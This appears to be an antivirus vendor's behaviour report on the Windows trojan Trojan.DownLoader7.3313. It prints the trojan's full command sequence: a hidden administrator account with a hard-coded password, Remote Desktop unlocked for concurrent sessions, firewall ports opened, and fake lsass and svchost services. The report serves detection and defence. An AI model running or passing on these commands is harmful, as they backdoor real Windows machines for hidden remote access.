Trojan.DownLoader7.3313

Technical Information

To ensure autorun and distribution:

Creates the following services:

[<HKLM>\SYSTEM\ControlSet001\Services\PlugAndPlay] 'ImagePath' = '%WINDIR%\svchost.exe -service -debug'
[<HKLM>\SYSTEM\ControlSet001\Services\TermService] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\TestService] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\PlugAndPlay] 'Start' = '00000002'

Malicious functions:

To bypass firewall, removes or modifies the following registry keys:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\mstsc.exe' = '<SYSTEM32>\mstsc.exe:*:Enabled:Подключение к удаленному рабочему столу'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\sessmgr.exe' = '<SYSTEM32>\sessmgr.exe:*:Enabled:Удаленный рабочий стол'

Creates and executes the following:

%WINDIR%\lsass.exe -i
%WINDIR%\lsass.exe

Executes the following:

<SYSTEM32>\reg.exe ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v MaxInstanceCount /t REG_DWORD /d 10 /f
<SYSTEM32>\net1.exe start TermService
<SYSTEM32>\reg.exe ADD "HKLM\SYSTEM\CurrentControlSet\Services\TermService" /v Start /t REG_DWORD /d 2 /f
<SYSTEM32>\net1.exe user ASP.NET 7gti201hg /add /EXPIRES:NEVER /active:yes
<SYSTEM32>\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ASP.NET /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AllowMultipleTSSessions /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f
<SYSTEM32>\net1.exe start FastUserSwitchingCompatibility
<SYSTEM32>\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v GinaDLL /f
<SYSTEM32>\reg.exe DELETE "HKLM\System\CurrentControlSet\Services\TermService\Parameters" /v "X509 Certificate ID" /f
<SYSTEM32>\net1.exe accounts /maxpwage:unlimited
<SYSTEM32>\reg.exe DELETE "HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects" /f
<SYSTEM32>\sc.exe stop TestService
<SYSTEM32>\reg.exe ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" /v 2500 /t REG_DWORD /d 3 /f
<SYSTEM32>\reg.exe DELETE "HKLM\System\CurrentControlSet\Services\TermService\Parameters" /v "X509 Certificate" /f
<SYSTEM32>\reg.exe DELETE "HKLM\SOFTWARE\Microsoft\MSLicensing\Store" /f
<SYSTEM32>\net1.exe localgroup %USERNAME%s ASP.NET /add
<SYSTEM32>\net1.exe localgroup "Пользователи удаленного рабочего стола" ASP.NET /add
<SYSTEM32>\net1.exe localgroup "Remote Desktop Users" ASP.NET /add
<SYSTEM32>\reg.exe DELETE "HKLM\System\CurrentControlSet\Services\TermService\Parameters" /v Certificate /f
<SYSTEM32>\mnmsrvc.exe
<SYSTEM32>\netsh.exe firewall add allowedprogram "%WINDIR%\hvnc2.exe" "Служба сетевых подключений"
<SYSTEM32>\netsh.exe firewall add allowedprogram "%WINDIR%\svchost.exe" "Служба сетевого доступа к файлам и принтерам"
<SYSTEM32>\netsh.exe firewall add allowedprogram "<SYSTEM32>\mstsc.exe" "Подключение к удаленному рабочему столу"
<SYSTEM32>\netsh.exe firewall add portopening protocol = TCP port = 3389 name = TCP3389
<SYSTEM32>\netsh.exe firewall add allowedprogram "<SYSTEM32>\sessmgr.exe" "Удаленный рабочий стол"
<SYSTEM32>\reg.exe ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_DWORD /d 0 /f
<SYSTEM32>\sc.exe start TestService
<SYSTEM32>\sc.exe create "TestService" displayname= "HTTPS Service" binpath= "%WINDIR%\lsass.exe" type= own start= auto error= ignore
<SYSTEM32>\sc.exe create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "%WINDIR%\svchost.exe -service -debug" type= own start= auto error= ignore
<SYSTEM32>\reg.exe ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
<SYSTEM32>\reg.exe ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "%WINDIR%\svchost.exe -service -debug" /f
<SYSTEM32>\netsh.exe firewall add portopening protocol = TCP port = 31337 name = TCP31337
<SYSTEM32>\sc.exe start "PlugAndPlay"
<SYSTEM32>\netsh.exe firewall add portopening protocol = TCP port = 5932 name = TCP5932
<SYSTEM32>\sc.exe start mnmsrvc
<SYSTEM32>\sc.exe Start TermService
<SYSTEM32>\sc.exe Start TlntSvr
<SYSTEM32>\netsh.exe firewall add portopening protocol = TCP port = 5931 name = TCP5931
<SYSTEM32>\netsh.exe firewall add portopening protocol = TCP port = 8080 name = TCP8080
<SYSTEM32>\netsh.exe firewall add portopening protocol = TCP port = 80 name = TCP80
<SYSTEM32>\netsh.exe firewall add portopening protocol = TCP port = 443 name = TCP443
<SYSTEM32>\netsh.exe firewall add portopening protocol = TCP port = 5900 name = TCP5900
<SYSTEM32>\netsh.exe firewall add portopening protocol = TCP port = 5800 name = TCP5800

Injects code into

the following system processes:

%WINDIR%\Explorer.EXE

Modifies settings of Windows Internet Explorer:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '2500' = '00000003'

Modifies file system :

Creates the following files:

%WINDIR%\lsass.exe

Sets the 'hidden' attribute to the following files:

%WINDIR%\lsass.exe

Network activity:

Connects to:

'localhost':4455

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